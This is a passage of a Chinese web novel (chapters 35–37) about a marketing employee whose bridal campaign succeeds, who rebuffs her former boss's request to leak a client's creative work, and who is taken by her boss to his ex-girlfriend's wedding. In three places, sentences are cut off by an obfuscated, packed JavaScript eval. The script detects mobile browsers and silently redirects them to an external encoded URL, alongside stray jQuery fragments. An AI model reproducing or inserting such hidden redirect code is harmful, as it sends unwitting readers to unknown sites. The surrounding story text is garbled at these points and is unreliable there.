这次活动受到了无数喜爱WH的粉丝热烈参与,甚至还吸引了原先不是品牌粉丝的准新娘……我们在截止日期前收到了超过十万人的投票征集结果,完全超出预期。由于没有预料到会有这么多人参加,品牌方并没有对服务器扩容,差点导致服务器崩塌。
活动一进入执行,我就告诉了俞渔。她非常开心,说她心仪的婚纱绝对能进前十,成为返场款式。
我们为WH策划的这一次活动,先是以插画形式介绍WH婚纱一路走来的发展史,每一阶段的经典婚纱款式都能点开看大图细节,最后才进入投票阶段。在拉动销售的同时也起到了品牌宣传的作用,前后不过搞了一周,获得了空前成功。
这一波怀旧风还带动了下个月婚纱周的预热,WH婚纱的高层乐疯了。Mark已经主动约周明凯吃了两次饭,说要提前执行框架协议,让我们准备三季度策划案。我终于知道为什么那天提问的人一口地道外国口音,Mark就是个老外。
在此之后,有不少品牌紧随其后,都推出了自己的怀旧系列。跟随策略虽然是常规操作,但拾人牙慧,加上目标用户已经很多完成了预定,效果打了很大折扣。
GT原本在业内就享有盛誉,孟猛说,这一次又“一战成名”了,因为WH婚纱的订单数激增,下一季度销售预估提升了一倍不止。
我们突然成了WH集团内部各事业部想合作的对象,真是人生处处有惊喜。
35. 第 35 章
手机新闻每天都在报道金融危机和各行各业的现状,整个市场一片愁云惨雾。按道理说,上游行业不好,像我们这种做营销服务的公司更应该受到影响。
实际上,我们确实受到了影响,但这个影响,跟预期的萧条背道而驰。我觉得无比诧异,不是各类媒体都在宣扬今年是行业凛冬吗?我们部门怎么还忙碌得好像电商人的双十一。
中午在一起吃饭的时候,我们交流了下手里的活儿:孟猛是加班重灾区,他手里有四家客户要竞标和比稿,萌萌有两个客户五个活动,每天都在各种活动现场安排达人红人;觅觅已经在公司加了快两星期的班了,用她的话说,她不想要加班费只想要调休;小妍每天都快把打印机打冒烟了。
孟猛分析说,以前是一个客户的两三个活儿就能吃半年,现在客户都在缩减预算,就变成了三四个客户的五六个活儿才能撑住总体利润。
我现在处于WH婚纱的案子进入收尾阶段,因为无法提前执行年框,WH集团准备跟我们单独签三季度营销策划协议。眼下我是最闲的。寻思着大家都忙,就我闲着也不太好,就问孟猛有什么需要我帮忙的。孟猛说,我虽然只服务一个客户,可能不能发丰厚年终奖就看WH了,他那些项目都在很前期的阶段,事儿多还不一定能签单,等七七八八了再找我帮忙。
好消息是我不用担心自己会失业,坏消息是今年大概也没时间能休年假。
周明凯最近也不再意气风发,到了公司就把自己锁在会议室里,他办公室的绿萝要不是小妍时不时帮忙浇个水,大概早就去阎罗殿报道了。
非常异常。如果说我们没有业务,他这样表现,再正常不过了。可现在,我们都快忙到四脚朝天了,他却好像公司明天就要倒闭一样,面色严峻,回公司就把自己闷在会议室里一整天,我怎么也想不明白。
刚刚萌萌刚去汇报工作回来,说老板又一个人在会议室里,挽起袖子,面对白板一脸严肃。白板上画着三个板块,一堆看不明白的数字。
窗户外是能把人烤化了的阳光,但据天气预报播报,这周将是T市最后的好天气——马上就要迎来梅雨季节。对天气预报,我向来是听过就算的态度。
外面的阳光灼眼,早上来上班时,阳光透过树叶在眼皮上弹跳,晃得眼睛都睁不开。六月的T市,已经像是盛夏的光景。我默默想,真得赶紧去趟S市,把衣服运过来。
耳边是孟猛喋喋不休的呱噪:“老大又在盘数字?就WH这单,整年业绩不是稳了,而是超了吧?老大还在担心什么。”
萌萌头都没抬在看她的小账本,“所以老大是Boss,你就只能是KA经理。未雨绸缪懂不懂?”
“那你说说老大在绸缪什么?”
“我要是知道,不就是老板了吗。总不能是发愁我们业务量大吧?”
要是让同行听见,大概会骂我们凡尔赛吧?!
WH集团的案子给公司涨了一波名气,最近时不时有外呼电话打进来。
外呼电话通常都是打到前台,然后由行政叶子分给业务人员。我原先以为这种都是随机分配,没想到叶子手里有一张项目统计表,她会根据大家目前服务跟进的项目数,分拨到不同组。
看来叶子已经关注到我手里只有一个客户,目前闲得发毛。这次外呼电话转接到了我这里:需求听上去没什么难度,跟客户在电话里聊了一会儿,客户很爽快地同意和我们合作。
在闲聊中,客户透露他跟周明凯是同学,平时他太忙了就没找他。
我觉得挺开心,这可是我第一个自己谈成的业务。
例会时,周明凯听完所有人汇报之后, “这个客户原先不在池子里。”
“对……新客户。”
周明凯面上不显,会后让我去他办公室,问这个案子的情况。
“是外呼进来的,是家小公司,说是您同学。”
“这个案子,我不建议接。”
“可是,客户已经表示要跟我们合作了。总不能把生意往外推吧?”
他按了按太阳穴,“自己分配好时间精力,我希望你知道,WH集团才是你的业务重点。有限的时间应该放在有价值的人和事上。”
我轻轻掩上门,心情有点不美好。
我当时还不知道,贸然接下来的这个客户会占用我多少精力。
有一个奇怪的定律:好事通常不会成群结队涌现,但坏事倒霉事却总是手挽着手齐头并进,“屋漏偏逢连夜雨”、“祸不单行”都已经做了最好注解。但此时此刻,都不足以形容我的心情。
“Monica,你在T市还好吗?”尽管已经很久没听到露西的声音了,可她假惺惺的装腔作势还是让我感到自己的每个毛孔都在颤抖。
听到这个英文名的时候,我甚至恍惚了几秒,才反应过来,那是我。
“挺好的。”我很想挂电话,但说起来,她还算个领导。
“在Raymond手下做事不轻松吧?”
“还行。”
久违地收到了来自露西的亲切问候,事出反常必有妖。
“那个时候,他非要向总部借调人手,我也是没办法。你要是想回总部,也不是没有可能……”
我一言不发,静静听她惺惺作态的表演。
她停住了,大概是在等我说点什么,我“哦”了一声。
又冷场了。
她颇有些不自在,大概也是装不下去了,“听说,WH那个案子现在是你在负责?”
接着,她让我汇报一下WH集团项目接下来的规划。越级汇报在外企是最大的禁忌,领导当然可以质询下属工作,但一般也都是直线关系,再怎么也不会问到分公司执行层。这只能说明一个问题:她想从我这里获得一些不能从明面上获得的消息。
内心有了预判之后,我决定能敷衍就敷衍,不能敷衍就说不知道。
“不是”,我眉头也不皱一下,“这么重要的案子,都是Raymond自己在跟进。我不过就是打打下手,干些边角料的活儿。”
电话里传来非常轻的一声笑声,我用脚趾头都能想象她的神态:三分鄙夷,七分嘲笑,没有一分的真诚和尊重。
露西倒是非常轻易就相信了,“那也没关系,材料总要经过你手的吧?”
我在心里轻哂,果然,在她那里,我一直都是上不了台面的。只是,我低估了她没底线的程度。
她仿佛天经地义一般对我发号施令,“你找机会把他要提案的创意拍下来发给我。”
心里像是有口浊气堵住喉咙,我差点没忍住破口大骂,“你怎么能这么不要脸?!”
深深吸了两口气之后,我装作很为难的样子,“其实,Raymond不是很相信我,尤其是知道我原先是您的助理。所以这些资料什么的,都是部门另一个女孩子负责。我实在是……帮不上忙。”
“废物。”她一改刚刚的和颜悦色,恶狠狠地吐出两个字。
她向来是这样的,有一分的利用价值,都要榨出三分的利润;而一旦没有利用价值,马上弃之如敝履,不会有丝毫的犹豫。用人前后两幅嘴脸。我早该习惯,可此时心头却浮现 这也使得
“刚刚忘了告诉您,我在办公室接的电话。”
“Holly Shit!你怎么能在办公室接私人电话呢?这是最基本的职业素养!”
我故作惊讶,“您打过来,不都应该是公事吗?”
她又咒骂了一句。
我正要挂电话,露西突然轻蔑地笑了一声,“哦,对了,Raymond想要FLola替换你,我劝服了他……就像你说的,你跟了我那么长时间,他要完全相信你,确实也不容易。”
露西这种人,为了损人一千,自伤八百是不在话下的。她自以为了解我,可她不知道,我已经看透了她。
“不劳您费心了。”
挂了电话,我吐出一口浊气,恨不得给自己鼓掌——安冉然,好样的!
物极必反,盛极必衰,否极则泰来。
俞渔如愿以偿地订到了自己的梦中情服,一定要请我吃饭。
在餐桌上,我踌躇了半天,还是决定坦白。
“对不起
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672139|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我其实不在WH集团工作。”
她惊讶地瞪大眼睛:“那你是怎么办到的?!”
“我在GT工作,我们是WH集团的供应商。说起来,还得感谢你,要不是你对那一季婚纱的执着,我大概也想不出怀旧经典那个创意。”
“你是说,那个WH婚纱二十年,征集心中最美婚纱的活动是你策划的啊?”俞渔一副不可置信的样子。
“不是我一个人,是我们团队。”
脱口而出“我们团队”,有一瞬的震荡,就像是一只飞虫撞到了蛛网,惊诧且慌乱,但渐渐的,平静温暖,这大概就是徐逸晨口中的归属感吧。
她低声惊呼了一声,“冉冉,你好棒。”
大大的眼睛扑闪,长长的睫毛上下翻动,“你都能帮我实现梦想,还害怕实现自己的梦想吗?”她揶揄的眼神里透出俏皮的意味。
“我们的婚礼定在下个月,欢迎你携伴参加。”她从随身的帆布袋里翻出请柬,推到我面前。
“恭喜。”
翻开请柬,是两周后的周三。我脱口而出,“那天已经有工作安排了,不好意思。”
然后,我怔住了。
以前,拒绝对我来说很难,只是略微想一想,都觉得自己开不了口,总在纠结和犹豫后委屈自己。譬如两年前一个关系一般的同学给我派了结婚请帖,那天我正好有事儿,在心里徘徊踌躇半天:会不会扫了别人的兴致,好歹是结婚呢;最后还是把自己的事情往后推,去参加了她的婚礼。现在想起来,我去或不去对她意义重大吗?并不是。
俞渔有些失望,“我还是挺想你能来的,不过没关系啦。”
“很感谢你邀请我参加你的婚礼,但我周三有例行会议,实在走不开。”
“我跟顷舟本来是想挑个周末的,但两家大人按农历挑的吉日,也没法反对。”
“理解。”
曾经,如果有机会近距离观赏金光灿灿的生活,我会非常开心。可现在,那样的生活对我失去了吸引力。能让我快乐的事眼下只有两件:一是存款的不断增加,二是做让自己有成就感的创造。
脑子里突然冒出一个念头,征集新娘们穿婚纱时候的集锦,婚礼现场这种温馨时刻,是最好的售后反馈和品牌营销片。时间上还不能离这次活动太近,放在一年后更合适,对新娘们来说是对人生最幸福时刻的重温。简直完美。
我想我是没救了,时时刻刻想着如何将这些素材积累下来。
……
小伙伴们每天瞪着两只无神的肿眼泡,像丧尸一样晃到办公室。周明凯跟我们不是同一个物种,他每天走得比所有人都晚,第二天准点到办公室,精神得像吸了我们所有人的精气。
“千万不要把自己跟老大作比较,你会惊诧于人类物种的复杂多样。有我们这样想偷懒睡觉谈恋爱的,就有老大那样不用睡觉不谈恋爱的。寡王何止一路硕博,还能在工作中干到CEO……”
尽管已经忙到脚不着地了,萌萌还是见缝插针分享八卦。这是什么精神!
“所以……老大不会从没谈过恋爱吧?”小妍压低了声音问。
“一天能工作十几个小时的狂人,爱情的小树苗在工作的狂风骤雨下能活过三个月都算先天圣体。”
在萌萌的科普下,我才知道老板大人迄今为止,以三十五岁的高龄,只谈过一场没超过三个月的恋爱。
“照我看,老大压根不喜欢他那前女友吧?不然能谈了三个月就吹了?”觅觅一边给设计稿上色,一边悄悄说。
“反正咱们公司谁谈恋爱,我都不会惊讶,除了老大。”
周五的总结会,周明凯向业务部门公布了接下来两个季度的战略:控制业务增量。基于目前的业务增长预测,如果暂时没有扩张计划,那我们在维持现有业务的基础上,新增业务不能超过20%,否则就必须再进行人员招聘。
孟猛眼前一亮,其他人倒是没什么反应,大概都没有新增业务。
周明凯看了他一眼,“已经在跟进的业务继续。”
全公司只有孟猛受伤的成就达成。
36. 第 36 章
周明凯杵在我的位置旁边时,我正在疯狂赶PPT——下周一内部要评估提报给WH集团的新一季度营销策划案。
而Q3季度不像Q1那样大小节日林立,也不像Q2那样有的放矢,随便拉出来一个都能做出花儿来。一季度有情人节、妇女节、白色情人节……一个没做好还能用下一个补救;Q2有520和521,WH自己还有个婚纱周的噱头,再不行还可以母亲节搞个“弥补妈妈没穿上婚纱的遗憾”;而Q3,只有七夕能拿得出手,可一个中国传统节日怎么跟这个本身非常洋气的品牌融合得体,是一件不太容易的事情:既不能降低品牌调性,削足适履地去迁就节日,也不能高高在上,既想要中国消费者的购买力,又不尊重消费者……怎么样把洋品牌在本土节日的营销做得不刻意,我一筹莫展。
谁能想到?!我不过是来了一个多月,且不论经历了完整的工作流程,甚至现在独立做创意输出——这在总部完全是不敢想的事情,而在这,我正在以揠苗助长的速度疯狂成长。周明凯恨不得拼命浇水施肥,把我这个小树苗拔成一棵参天大树。
孟猛说总部卷,他绝对是对总部有极深的误解。尽管S市的整体节奏极快,但在S市的外企可是众多打工人艳羡的对象,性价比高的工资、规整的流程、完备的福利待遇,尤其是GT,妥妥的养老氛围。
思路不能局限,既然电商平台能够创造节日,为什么品牌不能?WH的婚纱周不也是自主造节吗?
我不由自主咬住了笔头,这是我小学就有的毛病,只要思考就会咬笔头,所以我的笔头都是扁扁的。一直到高中才有了改善,总算文具盒里有了品相不错的文具。
Q3季度基本以炎热作为主旋律,夏天在我看来只有两种打开方式:一是待在家里吹空调喝冷饮吃西瓜,二是去玩水听音乐。
赞助音乐节或者体育赛事,竞争激烈就不说了,而且跟品牌调性不符合。牛奶可乐这种饮品跟赛事天然有链接,婚纱钻戒品牌赞助体育赛事总觉得有些不伦不类,除非哪一天有人穿着婚纱去参加比赛。
音乐节也不太适合,难道让乐队在某个间隙穿插演唱婚礼进行曲吗?我怕乐迷们在现场掀桌子——在家被爸妈催婚就算了,出个门听音乐会还要被变相催婚。
可是,我的脑子里反覆出现一个画面,一个穿着短婚纱的姑娘抱着一把吉他,脚踩一双运动鞋,冲过100米终点线,高唱“You can be anyone even you are married”。
努力摇头把这个想法从脑子里甩过去,我一定是疯了。默默在这个想法下打个叉。
婚纱还能跟什么跨界联名呢?
如果一整个夏天都待在家里,除了看电影综艺追剧之外还能干什么呢?我开始胡思乱想:搞一个婚纱设计的比赛,在水运动世界搞一场夏日婚纱秀……
我把这些乱七八糟的想法全都写在纸上,默默给自己的头脑风暴添砖加瓦。
思考,果然是最耗费精神力的。想不动了,睁着熬夜后肿胀的双眼,困顿地半趴在桌子上,气鼓鼓地在本子上画了只□□,在旁边写字时,总觉得一片阴霾笼罩着我,精准地定位在我上空直径一米范围内。
“你周末有安排吗?”
我依旧没有抬头,“安排个鬼,大概两天都要赶策划案,这工作的挑战性超乎想象……我怎么就能独立提案了??”真想把周明凯的脑子撬开看看,他凭什么认为我能胜任这么重要的工作?另外,孟猛这个讨厌鬼又想干什么,显摆他已经在周五的下午就已经完成了所有工作,开始考虑怎么过周末了吗?
哎,不对,孟猛去客户公司了,大概没这么早回来。我后知后觉,发现刚刚说话的是周明凯,赶紧站了起来。
“那个,Raymond,我……刚刚不是那个意思。”虽然我的解释听上去像是狡辩,“我是说,这么有创意性的工作……”
他冷冷看了我一眼,“那几个点子不是都挺好的,可以往下拓展。”
我急忙把涂鸦的纸往面前藏了一点,□□旁边写了“工作配不上我……”
感觉奇怪,老板杵在面前问我周末有没有安排,听上去像是有阴谋。总不会要让我给他处理私事,周末继续当牛马吧?
“您有什么指示?”我轻轻地试探着问了一句。
“周六陪我参加一个婚礼。”
“哦。”
当我反应过来对话内容时,彷佛一道闪电直击天灵盖。
“啊?我?不太合适吧。”我慌乱地拒绝。
“你刚刚答应了。”他的眼睛低垂,看不到他的表情。
答应你的大头鬼!你这问话的语气跟“明天跟我去客户那开会”别无二致,导致我做出了条件反射的回应,这算不算欺诈?!
况且凭什么?为什么?周末是我的私人时间,加班就算了,好歹有加班费。陪老板去婚礼,又没有劳务费,我宁愿在家躺着听白噪音发着呆浪费人生。
“我能不能不去?”
周凯明听上去心情不太好的样子,“下周一还想不想继续来上班了。”
这算不算赤裸裸的威胁?万恶的资本主义!
临走之前,Lola告诉了我一条职场金科玉律:如果你敢让老板丢面子,那么他就肯定会让你丢饭碗。
在尊严和生存之间摇摆了一会儿之后,我选择向生活低头——整体环境这么不景气,找一份好工作可太难了!况且马上就要到毕业季了,那些初生牛犊除了能搅乱本来就已经不景气的市场之外,还能让老板们见识到与新生力量迥异的现任牛马们颓废的精神状态。
几乎能想见,如果失业了,我只能悲惨凄凉地在家里混吃等死。噢,不对,现在住的房子还是公司租的!
上次的面试经历给我留下了极大的心理阴影。
嘴上不说,我在心里狂骂,万恶的资本家!你现在压榨我压榨得有多狠多开心,以后我就会报复得多狠!我也只敢在心里骂骂咧咧,在现实中,我只能认命地问:“周六几点?地址在哪儿?”
我希望那场婚礼不要一早举行,也不要在三环外的酒店举行。否则我要一大早起床,且可能要倒三趟地铁才能到达婚礼现场。
也不知道是什么缘故,这两年特别流行“回归大自然”式的臆想:明明平时既不爱爬山也不去植物园,到结婚的时候突然就热爱自然了,一堆人跟风扎堆搞草坪婚礼,且无一例外都在遥远的郊区。
他们倒是极乐了,我TM跟去西天取经似的,想想都觉得是悲惨世界。牺牲睡眠,累得跟条狗一样去送份子钱,还要被塞一嘴的狗狼。
“上午十一点,我来接你。”
好像怕我反悔一样,他说完转身就走。作为婚礼工具人的我,还得继续埋头做营销案。
望着纸上那些涂鸦式的头脑风暴结果,我从中挑选了一条没那么疯狂的“夏日婚纱设计大赛”来作为主要提案方向。
做到一半,我的注意力开始涣散,高强度的脑力工作实在是对体力的摧残。我现在无比怀念贴发票的工作,不用有那么多的创意,只要机械地一张张排整齐贴好。
坐在位置上发呆,我的脑海里冒出一个念头:工作狂的通讯录里居然连个能拖出去撑场面的异性生物都没有,钻石王老五也是徒有其名。
可转念一想,哦,我也没有。
区别是,他看上去闪闪发光,如果他愿意,应该会有一大把姑娘愿意陪他去参加婚礼。而我看上去灰头土脸,眼袋都快掉到胸上了,俨然一个被资本压榨的憔悴丧尸。如果我要让人陪我去参加婚礼,搞不好还得付钱。
那他为什么会选择我呢?我猜,大概是因为我是免费劳动力且不用欠人情吧。
回到出租屋瘫在床上,直到我刷到一个草坪婚礼的视频,我才意识到一个很严重的问题:明天我要穿什么去婚礼?
我带的大部分衣服都是不麻烦的适合通勤的类型,这在当时看来是十分明智的选择,毕竟工作日占了百分之七十。剩下的几件是T恤和牛仔裤之类
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672140|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的休闲类型,方便我偶尔在周日出门不要穿得那么正经。睡衣作为周末的主角,我带了三套。
为了参加婚礼买一件新衣服,那是不可能的,被抓壮丁就算了,付费打工就真的太廉价了。依稀记得我好像带了一条碎花连衣裙,但我是不是真的带了?我不确定。
满衣橱翻找那件可能会成为战袍的小裙子。很遗憾,我没有找到她。算了,我实在是没有适合那个场合的衣服,还是提前告诉老板,免得到时候丢他的脸。
我从通讯录里找到周明凯的电话,战战兢兢打了过去。
“老板,我可能……不能陪你去婚礼了。”
“为什么?”
“我……”糟糕,我用什么借口呢?要不,说我生病了,现在正发着烧,明天肯定好不了?万一他冲过来怎么办?
可我的借口还没有找到合适的时机,就彻底丧失了说出口的机会。
“现在我已经找不到别人了。如果你不能陪我去,那我就只能一个人去。”
“其实,一个人去……也没什么的。”
“这次情况对我来说,有些特殊。”
“前任结婚?新郎不是你?”小心验证是不存在的,但大胆猜想却可以有。
我其实没指望他回答,这算是个人隐私了吧。
没想到他沉默了片刻之后,“是。”
“我去!还真是,我这嘴是开了光还是怎么的。”我小声嘀咕,“猜中这种事儿有什么用!好歹让我中个彩票。”
从小到大,我都是中奖绝缘体。小时候买饮料从来都是看着别人“再来一瓶”,而我的瓶盖上什么都没有。我中过的最大奖是安慰奖。我妈打从那时候起就教育我,要脚踏实地,因为我没有不劳而获的运气。年会也一直都是阳光普照奖,如果不是这么人性化的设置,我大概每次都会空手而归。
“安冉然,你能帮帮我吗?”
他的声音很低沉,我不禁心软了,况且,同是天涯沦落人。
“好吧。放心,我不会给老板丢脸的。明天见!”
周明凯挂了电话之后,我才感觉到了后怕,倒霉催的,这不是往别人伤口上撒盐吗?!要是哪个不长眼的敢跟我提前任的婚礼,我非剁死那个人不可。而我,居然敢问我的现任老板这个主宰着我职业命运的人的伤心事。也不知道是谁给我的勇气。
还有,我居然承诺不给他丢脸,那也就意味着,至少得穿着得体,仪表整洁。
叹了口气,认命地继续在我狭小的衣橱里扒拉,终于在角落里找到了团成一团皱巴巴的碎花裙。欲哭无泪。
如果我穿那条鹅黄色无袖裙呢?那条裙子倒是直挺挺地挂在衣橱里,没有一丝褶皱。颜色倒是鲜亮,可款式过于正式。我已经能够想象,自己穿着那条裙子穿行过草地的样子,绝对会有人把我当作是婚礼的工作人员,冲我招手,让我给她指个路什么的。
没有熨斗,我只能重新手洗碎花裙,湿哒哒地挂了起来。看起来是没那么皱了,可明天要是干不了怎么办?我拿了两块大毛巾,把裙子铺在上面,先是挤压,再用毛巾吸水,不再滴水之后再重新晾了起来。
还得洗个头——我把头发拉过来闻了闻,虽然昨天才洗过,可出了汗之后头发很快就油乎乎的,头顶的头发像是烈日下晒蔫的小草,此刻软软地趴在脑袋上。
屋漏偏逢连夜雨。抓紧时间洗完头,想把头发吹干了就去睡觉,刚吹两下,吹风机坏了。我顶着一头又长又密的头发熬到了半夜,等它自然风干。正准备去睡觉,被我扔在桌子上的吹风机突然响了起来——我无比怨怼地望着它,大概这是它对于临时加班的抗诉。我还不如一只吹风机。
看了看墙上的挂钟,已经是凌晨一点了,我以最深沉的黑眼圈迎来了周六。万幸的是,自然风干的头发蓬松而柔软,散发出清新的花香。虽然有些毛躁,只要抹上发油,很见得了人。
在睡觉之前,我伸手摸了摸裙子,对着月亮祈祷,请一定让她又垂又顺,没有一条褶子。感恩!
37. 第 37 章
这是一个万里无云的好日子,吉,宜搬家,宜动土,宜嫁娶。
我已经记不清这是我失恋的第几天了,似乎是第三十天。不知道一个人从失恋到麻木再到重新振作需要多少天,眼下我每天都很累,累得回去就能倒下,完全不用任何的助眠工具就能睡死过去,没有心力感伤。
周末是人类的伟大发明,把人类从自我限定的工作解放出来,不用被闹钟从深沉的睡眠中吵醒,也不用火烧屁股一样蓬头垢面毫无形象地狂奔冲去地铁站,更不用体会地铁屏蔽门在面前以不容质疑的态度关闭时的绝望。
如果说有什么能够解救上班族的困顿,除了假期就是周末。
可惜,这个周末并没有以这样惬意的姿态到来。
我睡得昏天黑地,手机响了。
昨天不是说十一点来接我吗?我睡眼惺忪地看了眼手机,救命,才七点半。
周明凯说他大概半个小时之后到,我忍住骂人的冲动,硬生生把自己从床上拖起来。闭着眼睛刷眼洗脸换衣服。
他到的时候我刚绑好头发,还没来得及化妆。
“给我十五分钟,化完妆就可以走了。”
“不用。”
素颜参加婚礼?我本人都没对自己的颜值如此自信。
“我帮你约了造型师。”
我满脑子的问号,这什么情况?虽然我做好了准备,要精神抖擞,不给我的老板丢脸,可我既不是新娘子,也不是伴娘,一大早被喊起来做妆发是什么操作?!
“你没搞错吧?真的准备去砸场子吗?”
“你是给我撑场面的,邋里邋遢的怎么行?”
简直欲哭无泪,邋里邋遢?!本姑娘好歹也曾经是J大的系花,昨晚还特意洗了头发,周凯明居然用邋里邋遢来形容我。
周明凯一脚油门踩在他那辆崭新的奔驰S450上,我怀疑如果我再多说一个字,他下一脚会更凶狠地把油门踩到底。奔驰像一匹飞马一样向前奔驰,硬是把我的腹诽吓到了九霄云外。
我打着哈欠,两眼无神地坐在镜子前,果然,我的黑眼圈浓重得如同隔了夜的美式。加上惨白的脸色,真是惨不忍睹。
盘完头发化完妆,我望着镜子里的那个明艳照人的女人,内心奔腾而起只有一句台词“老娘天下最美!”
我一贯认为自己是清秀佳人那一挂的,艳惊四座这种词跟我无缘。我顶多能够把自己倒腾成小家碧玉,但在化妆师手下,我的容貌居然能跟明艳挂钩,艳若桃李,灼若芙蕖。亚洲四大邪术的换头术果然不是吹的。顿时,望向化妆师的眼里充满了崇拜。
有这么一门手艺,得让多少女性趋之若鹜。
化妆师翘着兰花指,一脸警惕地看着我,“这位小姐,擦擦你的口水。我只负责你的造型,不负责你的饥渴。”
周明凯看到我的时候,明显愣了下。
他侧身,把咖啡递给化妆师,“谢谢你,明宇。”
“咳,老同学了,还客气什么。”化妆师瞟了我一眼,说:“底子好,没那么费劲。”
后来我才知道,给我化妆的是鼎鼎大名的Jacky Leau,曾经和现在的顶流都趋之若鹜的化妆师,请他化妆可不仅仅是钱的事儿。
我站起来,对着镜子里的自己露出一个笑脸,我对自己的妆发很满意,“安冉然,你还是很不错的呢。”
周明凯皱眉,盯了我半天之后问:“你……没有别的裙子吗?”
“谁能想到还会有这样的场合。”我轻声嘀咕,低头看了眼身上的裙子。在没搞这个造型之前,它跟我的气质还算搭配得相得益彰,就那种清新小白花的感觉,尽管是一朵遭受了暴雨猛烈摧残后破碎感的小白花。可现在,在这一套明艳妆造之下,这条裙子就显得格格不入了。
T市的商场,一般都是十点钟开门。
“先去吃个早饭吧。”他突然转弯,向着旁边的小巷子走去。
顶着这么一个明艳的妆容,坐在街边的早餐店,周围不知从哪里飘来的探寻目光和窃窃私语让我如坐针毡,而周明凯像个没事人一样,问我是吃油条还是麻球。
一大早接受来自吃早餐叔叔阿姨的回头率,是我想破了脑袋也想不到的场景。我坐在那里,只觉得血往上涌,脸和耳朵都烫得厉害。
周明凯如此接地气是我没有想到的。他就不能看在我这个跟早餐店格格不入的妆造上,去个咖啡店吗?刚刚我对自己的造型有多满意,现在就有多社死。好歹是国外本硕,怎么就不喜欢咖啡面包呢?就算不喜欢,为了人设不应该装一装吗?
在百感交集中食不知味地吃完了早餐,然后云里雾里的被带到了高级礼服专门店。
我翻了下标签,五位数的标价。就算是恶心前任,也不用这么花血本吧?!我身上这件打折后盛惠三百块的碎花裙,打折前也得一千块呢,怎么就不合适了?!
又翻了几件,最便宜的也要三千多。
我把手缩回来,“要不……换一家吧?”
他走上前,往新品货架上看了几眼,非常利索地挑了三条小礼服裙,一条红色,一条白色镶钻和一条玫瑰黄,递给售货员小姐,“麻烦带她去试一下。”
不是我吹,我安冉然作为衣架子,还是很合格的——店里有个男的一直盯着我看。
我试第二套,拉开帘子就看见周明凯杵在试衣间门口。
最后,他拍板买了那条玫瑰黄色。付款的时候,我差点没两眼一翻抽过去——让我窒息的价格。
“我……发了工资还给你。”
他像听到了天方夜谭,安静地看了我一会儿,“送你的。”
“这……不太合适吧?”
“算是今天的加班费。”
欸?这么说,我突然又可以了,我爱加班。
……
我穿着一看就是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14672141|156802||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去砸场子的那身行头,甩着胳膊往前走。周明凯看了看我两条快摆上天的胳膊,眼神示意我应该挎着他。
我战战兢兢把手勾进他的臂弯,就像挎着一瓶名贵红酒。
周明凯也不在乎我僵硬的肢体,拖着我往那一片绿草坪走。
“深呼吸,微笑。”
我按照他的指示,深呼吸了两次,调整了步伐,在脑子里想了想机场里那些笑容明媚的空姐,昂首挺胸,露出八颗牙的微笑。
新娘挽着新郎站在鲜花圆拱门前迎宾,她穿着粉红色缀满Bling Bling亮片的小礼服,脚上踩着镶着钻的尖头白色婚鞋,目测至少九公分。阳光照在她身上,离远了只能看见亮闪闪的一片。她化着浓妆,眼睛很大,穿着高跟鞋跟我差不多高。
新郎长相普通,个子跟新娘差不多,体型圆润,戴着一副圆眼镜,显得憨态可掬。大概因为在太阳下站久了,他一直拿着手帕擦拭额头,但白衬衫还是洇出汗渍来。
当有人走上前,他把手帕攥在手里,扯出笑容。
周明凯还在往外掏红包,新娘突然走到了新郎的左侧,在他斜四十五度角的地方站定。
“新女友啊?”新娘的笑浅了一点,“没听你提过……”
新郎刚刚扯出来的笑容僵了一下,看新娘一眼,再看周明凯一眼,“晓晓,这也是?”新娘没说话。此时工作人员匆匆跑过来,“两位新人,仪式快开始了,咱们先进去准备下吧。”
这场婚礼,还真有些与众不同,目光所及之处都是年轻人,新郎新娘的爸妈和长辈都没出席。
虽然只是六月初,可在太阳当空的正午,在草坪上站上一刻钟,汗水便细密地渗出来。新郎换上了白色的西装三件套,汗珠从他的额头和鼻尖一路往下滚;新娘略微好一点,虽然是重工绸缎的长尾婚纱,但胳膊和背都露着,看上去凉快不少。
草坪中间的那一排金属椅子在太阳的照耀下闪着光泽。
有几个穿着长裤的男生在金属椅子上坐了一会儿,便以各种理由站了起来。穿着短裙的姑娘,刚坐下,就像屁股上有弹簧一样,弹射起身,快步走开。这些金属椅子,经过太阳的炙烤,烫屁股。
婚礼仪式即将开始,尽管摄影师让宾客落座,但宾客们都站着观礼。
于是,形成了特别奇特的现象:草坪中间那一片,除了新郎新娘和司仪站在前面台子上,座椅区域空空荡荡,外围有树木遮挡的阴凉处站满了人,无遮挡的空地上稀稀落落的几个人,显得这场婚礼仿佛是没有观众的自导自演。
